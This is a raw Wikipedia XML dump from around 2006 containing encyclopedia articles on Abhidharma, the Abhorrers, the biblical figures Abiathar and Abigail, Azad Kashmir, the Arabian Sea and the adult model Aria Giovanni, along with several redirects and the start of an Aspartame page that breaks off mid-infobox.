      <text xml:space="preserve">{{buddhism}}
'''Abhidharma''' ([[Sanskrit]]; [[Pāli]] ''Abhidhamma'') is a category of [[Buddhist]] scriptures that attempts to use Buddhist teachings to create a systematic, abstract description of all worldly phenomena.  The Abhidharma represents a generalization and reorganization of the doctrines presented piecemeal in the narrative ''[[sutra]]'' tradition.  

The literal translation of the term Abhidharma is unclear.  Two possibilities are most commonly given: 1) ''abhi''- higher or special + ''dharma''- teaching, philosophy, thus making Abhidharma the 'higher teachings', or 2) ''abhi'' - about + ''dharma'' of the teaching, translating it instead as 'about the teaching' or even 'meta-teaching'. 

==Origins==
Scholars generally believe that the Abhidharma emerged after the time of the Buddha, as the growth of monastic centers and support for the Buddhist [[sangha]] provided the resources and expertise necessary to systematically analyze the early teachings.  However, some scholars believe that rather than being wholly created by later thinkers, the Abhidharma represents an expansion of an early set of mnemonic lists and categories that were employed by early Buddhists to preserve the oral tradition.  

Numerous apparently independent Abhidharma traditions arose in [[India]], roughly during the period from the 2nd or 3rd Century BCE to the 5th Century CE.  The 7th Century Chinese pilgrim [[Xuanzang]] reportedly collected Abhidharma texts from seven different traditions.  In the modern era, only the Abhidharmas of the [[Sarvastivada|Sarvastivadins]] and the [[Theravada|Theravadins]] has survived intact, each consisting of seven books.  The Theravada Abhidharma, the Abhidhamma Pitaka (discussed below), is preserved in Pāli, while the [[Sarvastivada|Sarvastivadin]] Abhidharma is preserved only in Chinese- the (likely [[Sanskrit]]) original texts having been lost.  A small number of other Abhidharma texts of unknown origin are preserved in translation in the Chinese canon.

Traditionally, Buddhists have been of the belief that the Abhidharma was not a later addition to the tradition, but rather represented the first, original teachings of the Buddha.  According to myth, shortly after his awakening the Buddha spent several days in meditation, during which he formulated the Abhidharma.  Later, he traveled to the heavenly realm and taught the Abhidharma to the divine beings that dwelled there, including his deceased mother [[Mahamaya]].  The contents of the teachings given in the heavenly realm were related to the monk [[Sariputa|Shariputra]], who passed them on after the Buddha's death.  The Abhidharma thus represents a pure and undiluted form of the teaching that was felt to be too difficult for most practitioners of the Buddha's time to grasp.  Instead, the Buddha taught by the method related in the various sutras, giving appropriate, immediately applicable teachings as each situation arose, rather than attempting to set forth the Abhidharma in their complexity and completion.

==Theravada Abhidharma==
The '''Abhidhamma Pitaka''' is the third [[pitaka]], or basket, of the [[Tipitaka]] (Pali; Sanskrit: Tripitaka), the [[Pali canon|canon]] of the [[Theravada]] school of [[Buddhism]].  It consists of seven sections as follow:

# [[Dhamma Sangani]] ('Enumeration of Factors') - Describes the fundamental phenomena or ''dhamma'' which constitute human experience.
# [[Vibhanga]] ('Analysis') - An exposition of the analysis in the Dhamma Sangani in the form of a [[catechism]].
# [[Kathavatthu|Katha Vatthu]] ('Points of Controversy') - A collection of orthodox answers to questions about monastic practice, compiled by [[Moggaliputta Tissa]] after the Buddhist Council sponsored by King [[Ashoka]] in the 3rd Century BCE.
# [[Puggala Pannatti]] ('Descriptions of Individuals') - An enumeration of the qualities of certain different 'personality types'.  These types were believed to be useful in formulating teachings that an individual would respond to positively.
# [[Dhatu Katha]] ('Discussion of Elements') - Similar content to the Vibhanga, formulated as sets of questions and answers.
# [[Yamaka]] ('The Pairs') - A repetition of much of the contents of the Vibhanga, Dhatu Katha, and Katha Vatthu.
# [[Patthana]] ('Foundational Conditions' ''or'' 'Relations') - The laws of interaction by which the ''dhamma'' described in the Dhamma Sangani operate

These have all been published in romanized [[Pāli|Pali]] by the [[Pali Text Society]], and have been translated into [[English language|English]] as well. [[Scholar]]s date these works from about [[400 BC]] to about [[250 BC]], the first being the oldest and the third the latest of the seven.  Additional post-canonical texts were composed in the following centuries which attempted to further clarify the analysis presented in the Abhidhamma texts.  The best known such texts are the [[Visuddhimagga]] of [[Buddhaghosa]] and the [[Abhidhammāvatāra]] of [[Buddhadatta]].

Early Western translators of the Pāli canon found the Abhidhamma Pitaka to be the least interesting of the three sections of the [[Tipitaka]], and as a result this important aspect of Buddhist philosophy was little studied in the West until the later half of the 20th Century.  [[Caroline Rhys Davids]], a Pāli scholar and the wife of [[Pali Text Society]] founder [[T.W. Rhys Davids]], famously described the ten chapters of the Yamaka as &quot;ten valleys of dry bones&quot;.  Interest in the Abhidhamma has grown in the West as better scholarship on Buddhist philosophy has gradually revealed more information about its origins and significance.

Within the Theravada tradition, the prominence of the Abhidhamma has varied considerably from country to country, with mainland Southeast Asia placing the least emphasis on the study of the Abhidhamma and [[Sri Lanka]] the most.

== Sarvastivada Abhidharma ==

The Sarvastivada Abhidharma also consists of seven texts.  However, comparison of the content of the Sarvastivada texts with that of the Theravada Abhidhamma reveals that it is unlikely that this indicates that one textual tradition originated from the other.  In particular, the Theravada Abhidharma contains two texts (the ''Katha Vatthu'' and ''Puggala Pannatti'') that seem entirely out of place in an Abhidharma collection; the reason for their conclusion, and the resulting parity in number of Theravada and Sarvastivada texts is a matter for conjecture unlikely to be resolved.  

The texts of the Sarvastivadin Abhidharma are:

# [[Sangītiparyāya]] ('Discourses on Sangīti')
# [[Dharmaskandha]] ('Aggregation of Factors')
# [[Prajñaptiśāstra]] ('Treatise on Designations')
# [[Dhātukāya]] ('Body of Elements')
# [[Vijñānakāya]] ('Body of Perceptual Consciousness')
# [[Prakaranapāda]] ('Exposition')
# [[Jñānaprasthāna]] ('Foundations of Knowledge')

== See also ==

* [[Shastra]]
* [[Sutta Pitaka]]
* [[Vinaya Pitaka]]
* [[Pratitya-samutpada]]

== References ==

* ''Buddhist Psychology'', [[Caroline Rhys Davids]], ([[London]], [[1900]])
* &quot;On the Abhidhamma books of the Sarvastivadins&quot;, by Professor  Takakusu, in ''Journal of the Pali Text Society'', [[1905]].
* Collett Cox, ''Abhidhamma'' in ''Encyclopedia of Buddhism'', Robert E. Buswell, Ed., McMillan USA, New York, NY, 2004.  ISBN 0028659104.

== External links ==

* [http://www.buddhanet.net/abhidham.htm BuddhaNet - description of the Abhidhamma]
* [http://www.buddhanet.net/abhidh01.htm BuddhaNet - Abhidhamma articles]
* [http://www.accesstoinsight.org/canon/abhidhamma/index.html Access to Insight - description of the Abhidhamma]
* [http://accesstoinsight.org/lib/authors/bodhi/abhiman.html Online excerpt of a well-known book about the Abhidhamma]

[[Category:Abhidhamma Pitaka|*]]
[[Category:Buddhist philosophical concepts]]
[[Category:Tripitaka]]

[[cs:Abhidhamma]]
[[de:Abhidhammapitaka]]
[[fr:Abhidhamma]]
[[gl:Abhidhamma Pitaka]]
[[nl:Abhidhamma]]
[[pt:Abhidhamma Pitaka]]
[[ru:Абхидхарма]]
[[vi:A-tì-đạt-ma]]</text>
    </revision>
  </page>
  <page>
    <title>Abhorrers</title>
    <id>2739</id>
    <revision>
      <id>36080268</id>
      <timestamp>2006-01-21T12:05:38Z</timestamp>
      <contributor>
        <username>Mais oui!</username>
        <id>394460</id>
      </contributor>
      <comment>{{England-stub}}</comment>
      <text xml:space="preserve">'''Abhorrers''', the name given in [[1679]] to the persons who expressed their abhorrence at the action of those who had signed petitions urging King [[Charles II of England]] to assemble [[English Parliament|Parliament]].

Feeling against [[Roman Catholic]]s, and especially against James, Duke of York, was running strongly; the [[Exclusion Bill]] had been passed by the [[United Kingdom House of Commons|House of Commons]], and the popularity of [[James Scott, 1st Duke of Monmouth]], was very great.

To prevent this bill from passing into law, Charles had dissolved parliament in [[July]] [[1679]], and in the following October had [[prorogue]]d its successor without allowing it to meet.  He was then deluged with petitions urging him to call it together, and this agitation was opposed by Sir [[George Jeffreys]] and [[Francis Wythens]], who presented addresses expressing ''abhorrence'' of the ''Petitioners,'' and thus initiated the movement of the abhorrers, who supported the action of the king. &quot;The frolic went all over [[England]],&quot; says [[Roger North]]; and the addresses of the Abhorrers which reached the king from all parts of the country formed a counterblast to those of the [[Petitioner]]s.  It is said that the terms [[Whig]] and [[Tory]] were first applied to English political parties in consequence of this dispute.

==References==
*{{1911}}

[[sv:Abhorrers]][[Category:History of England]]
{{England-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Abiathar</title>
    <id>2740</id>
    <revision>
      <id>36778536</id>
      <timestamp>2006-01-26T11:50:22Z</timestamp>
      <contributor>
        <username>Jacopo86</username>
        <id>819124</id>
      </contributor>
      <minor />
      <comment>+ interwiki it</comment>
      <text xml:space="preserve">'''Abiathar ''' (Heb. Ebyathar, ''the [divine] father is pre-eminent''), in the [[Bible]], son of [[Achimelech]] or Ahijah, priest at [[Nob]], the fourth in descent from [[Eli]]. The only one of the priests to escape from Saul's massacre, he fled to David at Keilah, taking with him the ephod (1 Sam. xxii. 20 f., xxiii. 6, 9). He was of great service to David, especially at the time of the rebellion of [[Absalom]] (2 Sam. xv. 24, 29, 35, xx. 25). In 1 Kings iv. 4 Zadok and Abiathar are found acting together as priests under Solomon.  In 1 Kings i. 7, 19, 25, however, Abiathar appears as a supporter of Adonijah, and in ii. 22 and 26 it is said that he was deposed by Solomon and banished to Anathoth.  In 2 Sam. viii. 17 ''Abiathar, the son of [[Achimelech]]'' should be read, with the Syriac, for ''Achimelech, the son of Abiathar.'' For a similar confusion see [[Gospel of Mark]] ii. 26.

When his father was slain with the priests of Nob, he escaped, and bearing with him the [[ephod]], he joined David, who was then in the cave of [[Adullam]] (1 Sam. 22:20-23; 23:6). He remained with David, and became priest of the party of which he was the leader (1 Sam. 30:7). 

When David ascended the throne of Judah, Abiathar was appointed high priest (1 Chr. 15:11; 1 Kings 2:26) and the &quot;king's companion&quot; (1 Chr. 27:34). Meanwhile Zadok, of the house of Eleazar, had been made high priest. 

These appointments continued in force till the end of David's reign (1 Kings 4:4). Abiathar was deposed (the sole historical instance of the deposition of a high priest) and banished to his home at Anathoth by Solomon, because he took part in the attempt to raise Adonijah to the throne. The priesthood thus passed from the house of Ithamar (1 Sam. 2:30-36; 1 Kings 1:19; 2:26, 27). 

Zadok now became sole high priest. In Mark 2:26, reference is made to an occurrence in &quot;the days of Abiathar the high priest.&quot; But from 1 Sam. 22, we learn explicitly that this event took place when Achimelech, the father of Abiathar, was high priest. The apparent discrepancy is satisfactorily explained by interpreting the words in Mark as referring to the life-time of Abiathar, and not to the term of his holding the office of high priest. It is not implied in Mark that he was actual high priest at the time referred to. Others, however, think that the loaves belonged to Abiathar, who was at that time (Lev. 24:9) a priest, and that he either himself gave them to David, or persuaded his father to give them.

==References==
*{{1911}}

[[Category:Tanakh people]]
[[it:Abiathar]]</text>
    </revision>
  </page>
  <page>
    <title>Abigail</title>
    <id>2741</id>
    <revision>
      <id>40008333</id>
      <timestamp>2006-02-17T13:26:20Z</timestamp>
      <contributor>
        <username>TigerShark</username>
        <id>161478</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/212.248.225.6|212.248.225.6]] to last version by CambridgeBayWeather</comment>
      <text xml:space="preserve">'''Abigail''' ('''&amp;#1488;&amp;#1458;&amp;#1489;&amp;#1460;&amp;#1497;&amp;#1490;&amp;#1463;&amp;#1497;&amp;#1460;&amp;#1500;''' / '''&amp;#1488;&amp;#1458;&amp;#1489;&amp;#1460;&amp;#1497;&amp;#1490;&amp;#1464;&amp;#1497;&amp;#1460;&amp;#1500;''' &quot;her Father's joy or, fountain of joy&quot; ;leader of/is dance/, [[Standard Hebrew]] '''Avigáyil''', [[Tiberian Hebrew]] '''&amp;#702;&amp;#258;&amp;#7687;î&amp;#7713;áyil''' / '''&amp;#702;&amp;#258;&amp;#7687;î&amp;#7713;&amp;#257;yil'''), once Abigal ({{bibleverse|Samuel|2|3:3|HE}}), is a female character in the [[Bible]]. She is described as the wife of [[Nabal|Nabal the Carmelite]], whose life she saves when David wishes to kill him. On his death she became the 3rd wife of [[David]] ({{bibleverse|Samuel|1|25|HE}}).  By her David had a son, whose name appears in the Hebrew of 2 Samuel 3:3 as Chileab, in the [[Septuagint]] as Daluyah, and in {{bibleverse|Chronicles|1|3:1|HE}} as [[Daniel (son of David)|Daniel]].

* The name Abigail was also borne by a sister of David ({{bibleverse|Samuel|2|17:25|HE}}; {{bibleverse|Chronicles|1|2:16|HE}} and following).  
* From the former (self-styled ''handmaid'' {{bibleverse|Samuel|1|25:25|HE}} and following) is derived the colloquial use of the term for a waiting-woman (cf. Abigail, the ''waiting gentlewoman,'' in [[Beaumont and Fletcher]]'s ''Scornful Lady'').

==References==
{{1911}}

[[Category:Tanakh people]]

[[da:Abigail]]
[[de:Abigail]]
[[eo:Abigail]]
[[he:אביגיל]]</text>
    </revision>
  </page>
  <page>
    <title>Abila</title>
    <id>2742</id>
    <revision>
      <id>15901135</id>
      <timestamp>2004-12-23T16:22:46Z</timestamp>
      <contributor>
        <username>Saga City</username>
        <id>138511</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Abilene (biblical)]]</text>
    </revision>
  </page>
  <page>
    <title>Abhidharma</title>
    <id>2744</id>
    <revision>
      <id>19916828</id>
      <timestamp>2005-07-30T12:14:45Z</timestamp>
      <contributor>
        <username>Nat Krause</username>
        <id>40885</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Abhidhamma]]</text>
    </revision>
  </page>
  <page>
    <title>Azad Kashmir</title>
    <id>2745</id>
    <revision>
      <id>40171715</id>
      <timestamp>2006-02-18T18:42:56Z</timestamp>
      <contributor>
        <username>Splash</username>
        <id>285145</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/86.7.163.7|86.7.163.7]] ([[User talk:86.7.163.7|talk]]) to last version by Gnikhil</comment>
      <text xml:space="preserve">{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot; width=&quot;320px&quot; align=&quot;right&quot; style=&quot;border: 1em solid white&quot;)
|-
| colspan=&quot;2&quot; style=&quot;margin-left: inherit; background:#4F7942; color:#ffffff;text-align:center; font-size: medium;&quot; |'''Azad Kashmir'''
|-
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Kashmir Flag.PNG|150px]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[image:Kashmir map.jpg|150px]]
|-
| align=&quot;center&quot; width=&quot;140px&quot; style=&quot;border-bottom:3px solid gray;&quot;| Azad Kashmir Govt flag
| align=&quot;center&quot; width=&quot;140px&quot; style=&quot;border-bottom:3px solid gray;&quot;| Azad Kashmir province map
|-
| align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray;&quot;| [[image:PakistanAzadKashmir.png|150px|]]&lt;br&gt;Azad Kashmir in [[Pakistan]]
|-
|[[Subnational entity|Provincial Capital]]
|[[Muzaffarabad]]
|-
|[[Status]]
|Disputed Territory
|-
| [[Languages]]
| [[Hindko]]&lt;br&gt;[[Potwar]]&lt;br&gt;[[Punjabi]]&lt;br&gt;[[Pashto]]
|-
| [[Population]]
| 3,000,000 [http://www.statpak.gov.pk/depts/fbs/statistics/pds2003/table-01.pdf]
|-
| [[Tax|Revenue &amp; NFC]] &lt;br&gt; &amp;nbsp;- Share in national revenue &lt;br&gt; &amp;nbsp;- Share receives
|&lt;br&gt; % (contribution) &lt;br&gt; % (from fed. govt)
|-
| [[Time zone]]
| [[Pakistan Standard Time|PST]], [[Coordinated Universal Time|UTC]] +5
|-
|Number of [[District|Districts (Taluka)]]
|
|-
|Number of [[Towns]]
|

|-
| [[President]]
| [http://www.klc.org.pk/president/president.htm Major General (R) Sardar Muhammad Anwar Khan]
|-
| align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray;&quot; | [http://www.klc.org.pk/ Govt of Azad Kashmir Official Website]
|}

'''Azad Jammu and Kashmir''' ([[Urdu]]: '''آزاد کشمیر'''), is part of the [[Pakistan]]i-administered part of the former princely state of [[Jammu and Kashmir]], along with the [[Northern Areas, Pakistan|Northern Areas]]. The name Azad Kashmir means &quot;Free Kashmir&quot; in [[Urdu]]. [[India]] does not recognize Azad Kashmir as a part of [[Pakistan]] and refers to the region encompassing Azad Kashmir and the [[Northern Areas, Pakistan|Northern Areas]] as [[Pakistan Occupied Kashmir]](POK). It covers an area of 13,300 [[square kilometre|km&amp;sup2;]] (5,135 [[square mile|mi&amp;sup2;]]), with its capital at [[Muzaffarabad]], and has an estimated population of over three million people. 

==General Information and Recent History==

The region is extremely mountainous and includes a significant part of the [[Himalaya]]s, but does not include [[Nanga Parbat]], the world's seventh highest mountain peak, which falls within the &quot;[[Northern Areas, Pakistan|Northern Areas]]&quot;.

After the partition of India in 1947 and the [[Indo-Pakistani War of 1947]], Pakistan gained administrative rights to a portion of Kashmir as per a cease-fire agreement. Pakistan divided the region into three administrative sub-regions:

#Azad Kashmir, 250 miles (400 km) in length with the width varying from 10 to 40 miles (15 to 65 km), 13,300 km&amp;sup2; (5,135 mi&amp;sup2;), 
# [[Northern_Areas, Pakistan|Northern Areas]], a much larger area, 72,496 km&amp;sup2; (27,991 mi&amp;sup2;), incorporated into Pakistan and administered as a de facto dependency, and
#A small part, the [[Trans-Karakoram Tract]], of the Northern Areas that was ceded to [[China]] by Pakistan in 1963.

Parts of Azad Kashmir wer lost to Indian forces in the [[Indo-Pakistani War of 1971|1971 war]] before were returned by India as part of the [[Simla Accord]], in 1972.

Azad Kashmir is nominally [[autonomous]], with its own elected [[President]], [[Prime Minister]], Legislature, High Court etc.

==Demography==

Although a proper [[census]] has not been taken in recent years, the best estimates conclude that the Azad Kashmir region has approximately 3.1 million inhabitants.

The population of Azad Kashmir includes [[Kashmiri]]s and also comprises [[Hindko]]-speaking [[Pathans]], the [[Potwari]] (whose language includes the Mirpuri dialect) and the nomadic [[Gujjars]], who largely inhabit the upper hills and slopes.  Tribes or clans (biraderi) are important for some groups in the region and include: the [[Sudhan]]([[Sadozai]]) , [[Rajput]]s, Mirpuri [[Jat (people)|Jats]], and [[Gujjars]].

The Hindko and Potwari languages are both related to Punjabi, but have distinct separate features. Potwari is spoken in the [[United Kingdom]] by the Mirpuri community; Mirpuri is a local dialect of Potwari spoken in and around the [[Mirpur]] and [[Kotli]] districts.  About 700,000 Mirpuris live in the United Kingdom today.

Azad Kashmir is predominantly [[Muslim]], although over 100,000 Hindus and Sikhs lived there until 1947.

== Geography ==
Azad Kashmir is a more mountainous and cold region than the rest of Kashmir. It boasts some of the most scenic mountain tops and river valleys. {{sect-stub}}

==See also==
* [[Pakistan]]
* [[Muzaffarabad]]
* [[Jammu and Kashmir]]
* [[Kashmiri]]
* [[Indo-Pakistan Wars]]

==External links==
* [http://www.klc.org.pk/ Official website of the Government of Azad Kashmir]
* [http://www.tourism.gov.pk/d_kashmir.html Official tourism site]
* [http://www.ikashmir.org/Temples/sharda.html Hindu sites in the region] [http://www.kplink.com/gallery/categories.php?cat_id=102]

{{Territorial_Capitals_in_Pakistan}}
[[Category:Azad Kashmir]]
[[Category:Kashmir]]


[[de:Asad Kaschmir]]
[[fr:Azad Cachemire]]
[[lt:Laisvasis Kašmyras]]
[[nl:Azad Kasjmir]]
[[sv:Azad Kashmir]]</text>
    </revision>
  </page>
  <page>
    <title>Anthropological classification of homosexuality</title>
    <id>2746</id>
    <revision>
      <id>24926794</id>
      <timestamp>2005-10-06T22:44:11Z</timestamp>
      <contributor>
        <username>Tarret</username>
        <id>450465</id>
      </contributor>
      <text xml:space="preserve">#Redirect [[Homosexuality]]</text>
    </revision>
  </page>
  <page>
    <title>Arabian Sea</title>
    <id>2747</id>
    <revision>
      <id>40446729</id>
      <timestamp>2006-02-20T16:45:53Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: cv</comment>
      <text xml:space="preserve">[[Image:Arabian Sea map.png|thumb|right|250px|Map of the Arabian Sea.]]
[[Image:Kannurfort1.JPG|thumb|top|300px|A view of [[Arabian Sea]] from [[St. Angelo's Fort]] in [[Kannur]] district of [[Kerala]], [[south India]]]]

The '''Arabian [[Sea]]''' ([[Arabic language|Arabic]]: بحر العرب; [[Arabic transliteration|transliterated]]: Bahr al-'Arab, [[Latin]]: ''Mare Erythraeum'') is the part of the [[Indian Ocean]] bounded on the east by [[India]], on the north by [[Baluchistan]] and [[Sind]] provinces of [[Pakistan]] and part of the southern Persian littoral, on the west by [[Arabian Peninsula]], on the south, approximately, by a line between [[Cape Guardafui]], the north-east point of [[Somalia]], and [[Kanyakumari]] (Cape Comorin) in [[India]]. It was known as the ''Sindhu Sagar'' to Indians in the [[Vedic period]] of their history.

It has two important branches &amp;mdash; the Gulf of Aden in the southwest, connecting with the Red Sea through the strait of [[Bab-el-Mandeb]]; and the [[Gulf of Oman]] to the northwest, connecting with the [[Persian Gulf]]. Besides these larger ramifications, there are the gulfs of [[Gulf of Cambay|Cambay]] and [[Gulf of Kutch|Kutch]] on the Indian coast. Its islands are few, the chief being [[Socotra]], off the African, and the [[Laccadives]], off the Indian coast.

Ocean trade routes have crossed the Arabian Sea since ancient times, linking the [[Near East]] with [[East Africa]], [[India]], [[Southeast Asia]], and [[China]]. Historically, sailors in a type of ship called a [[dhow]] used the seasonal [[Monsoon]] winds to cross the sea. The sea forms part of the chief shipping route between Europe and India via the [[Suez Canal]], which links the Red Sea with the [[Mediterranean Sea]].

The maximum width of the Arabian Sea is approximately 2,400 km, and its maximum depth is 4,652 metres, in the Arabian Basin approximately at the same latitude as the southernmost tip of India. The [[Indus River]], also known as the Sindhu river, is the largest river flowing directly into this sea; others include the [[Narmada River|Narmada]], [[Tapti River|Tapti]], [[Mahi River|Mahi]], and the numerous [[List of rivers in Kerala|rivers of Kerala]] in India. The Arabian Sea coast of central India is known as the [[Konkan Coast]], and that of southern India is known as the [[Malabar Coast]].

The countries with coastlines on the Arabian Sea are [[India]], [[Iran]], [[Oman]], [[Pakistan]], [[Yemen]], [[Somalia]] and the [[Maldives]].

Cities on the coast include [[Mumbai]] (Bombay), [[Surat]], [[Mangalore]], and [[Kochi, India|Kochi]] in India, [[Karachi]] and [[Gwadar]] in Pakistan, and [[Aden]] in Yemen.

Famous beaches on the coast include
* beaches of [[Karachi]], [[Main Khye]]
* the beaches of [[Goa]]
* [[Juhu#Juhu_Beach|Juhu]] Beach, [[Mumbai]]
* [[Kovalam]] beach in [[Kerala]]

== References ==
* ''This article incorporates text from the'' [[1911 Encyclopædia Britannica|''1911'' Encyclopædia Britannica]]'', a publication in the [[public domain]].''[[Category:1911 Britannica]] 

==External links==
*[http://www.panda.org/about_wwf/where_we_work/ecoregions/arabian_sea.cfm Arabian Sea (World Wildlife Fund)]

[[Category:Arabia]]
[[Category:Seas]]
[[Category:Indian Ocean]]
[[Category:Global 200 ecoregions]]

[[ar:بحر العرب]]
[[ca:Mar d'Aràbia]]
[[cv:Арави тинĕсĕ]]
[[da:Arabiske Hav]]
[[de:Arabisches Meer]]
[[et:Araabia meri]]
[[es:Mar Arábigo]]
[[eo:Araba Maro]]
[[fa:دریای عرب]]
[[fr:Mer d'Oman]]
[[ko:아라비아 해]]
[[hr:Arapsko more]]
[[is:Arabíuhaf]]
[[he:הים הערבי]]
[[lt:Arabijos jūra]]
[[nl:Arabische Zee]]
[[ja:アラビア海]]
[[no:Arabiahavet]]
[[pl:Morze Arabskie]]
[[pt:Mar Arábico]]
[[ru:Аравийское море]]
[[sk:Arabské more]]
[[sl:Arabsko morje]]
[[sv:Arabiska havet]]
[[ta:அரபிக்கடல்]]
[[uk:Аравійське море]]
[[ur:بحيرہ عرب]]
[[zh:阿拉伯海]]</text>
    </revision>
  </page>
  <page>
    <title>Alls Well That Ends Well</title>
    <id>2748</id>
    <revision>
      <id>15901141</id>
      <timestamp>2002-07-18T11:33:30Z</timestamp>
      <contributor>
        <ip>213.253.39.19</ip>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[All's Well That Ends Well]]
</text>
    </revision>
  </page>
  <page>
    <title>Aria Giovanni</title>
    <id>2749</id>
    <revision>
      <id>42158786</id>
      <timestamp>2006-03-04T05:14:06Z</timestamp>
      <contributor>
        <username>Snkcube</username>
        <id>310452</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Female adult bio
|photo= [[Image:AriaGiovanni.jpg|250px|Aria Giovanni]]
|birth= [[November 3]], [[1977]]
|birthname=  
|death=
|location= [[Los Angeles, California|Los Angeles]], [[California]]
|measurements= 34D-25-35
|height= 5'6&quot; / 1.68 m
|weight=124 lbs
|eye color= Brown
|hair color= Brown
|natural bust= Yes
|orientation=
|ethnicity= [[White (people)|White]] ([[Italian people|Italian]]/[[Yugoslavia|Yugoslavian]]/[[French people|French]]/[[Germans|German]])
|alias=
|homepage= http://www.ariagiovanni.com/
|iafd= AriaGiovanni
|imdb= 1020082
}}

'''Aria Giovanni''' (born [[November 3]], [[1977]] in [[Los Angeles, California]]) is the [[stage name]] of a [[model (person)|model]] and a [[pornographic actress|soft pornographic film actress]] who was ''[[Penthouse magazine|Penthouse]]'' [[Penthouse Pet|Pet]] for the month of September 2000.

==Biography==
Although Giovanni was born in [[Los Angeles, California|Los Angeles]], by high school she was living in nearby [[Orange County, California|Orange County]]. Growing up Aria recounts that she was quite shy, with only one friend in high school, but that she did very well in her classes. According to her website, she did so well that she was able to graduate and head to college by the age of 16.

She attended college for several years, waitressing and tutoring in science and math on the side, when she decided modelling might be an easier way to make good money. She started answering newspaper ads in [[October]], [[1999]], and soon began appearing on various [[amateur pornography]] [[website]]s such as Amateur Pink, Busty Amateurs, and Seductive Amateurs.

In 2000, [[Aimee Sweet]] introduced Giovanni to [[glamour photography|glamour photographer]] [[Suze Randall]], who in late May of that year shot photos of Giovanni which appeared in the September issue of ''Penthouse'' magazine.

At the same time, she also appeared on the web site [[Bomis]], posing clothed for a [[Ferrari]] giveaway contest.

In 2001, she played Monica Snatch in the movie ''Survivors Exposed'', a parody of the ''[[Survivor (TV series)|Survivor]]'' [[television]] series.

Giovanni has also appeared in [[Bondage (BDSM)|bondage]], [[fetish]] and artistic photography. She has gained particular respect for being among relatively few large-chested models working in the field who have not undergone [[cosmetic surgery]].

Giovanni has worked extensively with [[Andrew Blake]], appearing in ''Girlfriends'', ''Aria'', ''Blonds &amp; Brunettes'', ''Justine'', ''Adriana'', and ''Naked Diva''. She has appeared in both softcore and hardcore pornographic movies, although most of her lesbian scenes involve purely implied sexual contact.

She is currently married to [[John5|John Lowery]] (better known as John5), formerly of the band [[Marilyn Manson]].

==Trivia==
*Penthouse Pet of the month (September 2000)
*Posed for the premiere issue of Mystique Magazine
*At sixteen she began dating a man. This lasted for five years; she married him at twenty-one but divorced him five weeks later.

==Quotes==
&quot;In high school I was an ugly duckling. I had big breasts, an exotic voluptuous look and was so pathetically shy I had hardly any friends.&quot;

&quot;Finding clothes that would fit me was a real problem, too. Dresses that fitted my breasts hung on the rest of me like an empty sack. My tits burst out of dresses that fitted my waist. At least I didn't have the problem of finding a prom dress — no one asked me!&quot;

==Notable TV guest appearances==
* ''[[Shipmates]]'' playing herself, [[November 16]], [[2001]]
* ''[[Howard Stern]]'' playing herself, [[October 30]] [[2002]]
* ''[[Wild On!]]'' playing herself in episode: &quot;Wild on Hollywood Nights&quot; 2003
* ''[[Rock Theatre Television]]'' playing herself in episode: &quot;DragonCon 2003&quot; (episode # 1.2) [[November 2]], [[2003]]

==See also==
*[[List of Perfect 10 models]]

==External links==
: ''For Aria Giovanni's official website and filmography, please consult the infobox.''
* [http://www.badmouth.net/interview-aria-giovanni/ Interview: Aria Giovanni] (Badmouth.net)

[[Category:1977 births|Giovanni, Aria]]
[[Category:Living people|Giovanni, Aria]]
[[Category:Adult models|Giovanni, Aria]]
[[Category:American models|Giovanni, Aria]]
[[Category:Italian-Americans|Giovanni, Aria]]
[[Category:Penthouse Pets|Giovanni, Aria]]
[[Category:People from the Greater Los Angeles Area|Giovanni, Aria]]
[[Category:Bondage models|Giovanni, Aria]]
[[Category:American porn stars|Giovanni, Aria]]

[[de:Aria Giovanni]]
[[es:Aria Giovanni]]
[[fr:Aria Giovanni]]
[[pt:Aria Giovanni]]
[[sv:Aria Giovanni]]</text>
    </revision>
  </page>
  <page>
    <title>Angry Brigade</title>
    <id>2751</id>
    <revision>
      <id>15901144</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[The Angry Brigade]]
</text>
    </revision>
  </page>
  <page>
    <title>Aspartame</title>
    <id>2752</id>
    <revision>
      <id>42139702</id>
      <timestamp>2006-03-04T02:06:54Z</timestamp>
      <contributor>
        <username>Twoggle</username>
        <id>416836</id>
      </contributor>
      <comment>/* Discovery and approval */  -- Hayes left the FDA while being investigated for taking bribes (&quot;gratuities&quot;), but unless there is iron-clad posted evidence of Rumsfeld bribing Hayes, I'd remote it.</comment>
      <text xml:space="preserve">&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; style=&quot;margin-left:1em&quot;
|-
|! colspan=&quot;2&quot; align=center bgcolor=&quot;#cccccc&quot; | Aspartame
|-
| [[IUPAC nomenclature|Chemical name]]
| align=&quot;center&quot; | ''N''-L-a-aspartyl-L-phenylalanine&lt;br&gt;1-methyl ester
|-
| [[Chemical formula]]
| C&lt;sub&gt;14&lt;/sub&gt;H&lt;sub&gt;18&lt;/sub&gt;N&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;5&lt;/sub&gt;
|-
| [[Molecular mass]] || 294.30 g/mol
|-
| [[Melting point]] || 246 - 247 °C
|-
| [[CAS registry number|CAS number]] || 22839-47-0
|-
| [[Simplified molecular input line entry specification|SMILES]]
